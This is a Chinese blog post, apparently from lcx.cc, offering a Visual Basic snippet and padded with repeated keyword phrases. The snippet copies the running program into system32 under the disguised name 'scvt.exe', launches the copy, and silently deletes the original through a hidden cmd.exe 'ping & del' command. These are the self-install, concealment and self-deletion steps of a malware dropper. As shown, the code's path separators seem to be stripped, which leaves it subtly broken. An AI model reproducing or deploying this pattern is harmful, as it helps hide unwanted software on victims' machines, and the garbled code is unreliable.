【VB技巧】VB复制/安装自身到系统目录并运行

  • A+
所属分类:lcx

    VB 复制/安装自身到系统目录并运行,VB安装自身到系统目录并运行,VB复制自身到系统目录并运行,VB复制/安装自身到系统目录运行,VB复制/安装到系统目录运行,VB复制/安装系统目录运行,VB复制/安装系统运行,VB复制/安装运行,VB复制自身到系统目录运行,VB复制到系统目录运行,VB复制系统目录运行,VB复制系统运行,VB复制运行,VB安装自身到系统目录运行,VB安装到系统目录运行,VB安装系统目录运行,VB安装系统运行,VB安装运行,VB Environ("windir")。

VB复制/安装自身到系统目录并运行,VB安装自身到系统目录并运行,VB复制自身到系统目录并运行:

Dim Windr, Winsys
Windr = Environ("windir") & ""                                                 '系统目录
Winsys = Windr & "system32"                                                    'System32目录
If InStr(Replace(App.Path + "" + App.EXEName + ".exe", "", ""), "system32") = 0 Then '如果自身不在system32目录
    FileCopy App.EXEName & ".exe", Winsys & "scvt.exe"                          '复制到system32目录
    Shell Winsys & "scvt.exe", vbNormalFocus                                    '运行system32目录分体
    Shell "cmd.exe /c ping -n 2 localhost&del /f /q " & """" + Replace(App.Path + "" + App.EXEName + ".exe", "", "") + """", vbHide '自删除
    End
End If

文章来源于lcx.cc:【VB技巧】VB复制/安装自身到系统目录并运行

相关推荐: 通过nginx配置文件抵御攻击,防御CC攻击的经典思路!

0x00 前言 大家好,我们是OpenCDN团队的Twwy。这次我们来讲讲如何通过简单的配置文件来实现nginx防御攻击的效果。 其实很多时候,各种防攻击的思路我们都明白,比如限制IP啊,过滤攻击字符串啊,识别攻击指纹啦。可是要如何去实现它呢?用守护脚本吗?用…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: